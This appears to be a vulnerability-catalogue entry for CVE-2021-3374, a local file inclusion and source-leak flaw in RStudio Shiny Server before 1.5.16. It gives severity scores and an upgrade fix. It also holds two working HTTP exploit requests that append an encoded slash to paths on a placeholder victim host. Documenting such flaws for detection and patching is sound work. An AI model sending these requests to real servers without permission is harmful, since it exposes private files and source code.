| Title | Rstudio Shiny Server <1.5.16 - Local File Inclusion |
|---|---|
| Author | geeknik |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially exposing sensitive information. |
| Remediation | Upgrade Rstudio Shiny Server to version 1.5.16 or later to mitigate the vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.83282 |
| CVE ID | CVE-2021-3374 |
| CWE ID | CWE-22 |
| Tags | cve2021 cve rstudio traversal vuln |
Rstudio Shiny Server prior to 1.5.16 is vulnerable to local file inclusion and source code leakage. This can be exploited by appending an encoded slash to the URL.
GET /%2f/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/4.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /sample-apps/hello/%2f/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-3374.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-3374.pcap
N/AN/A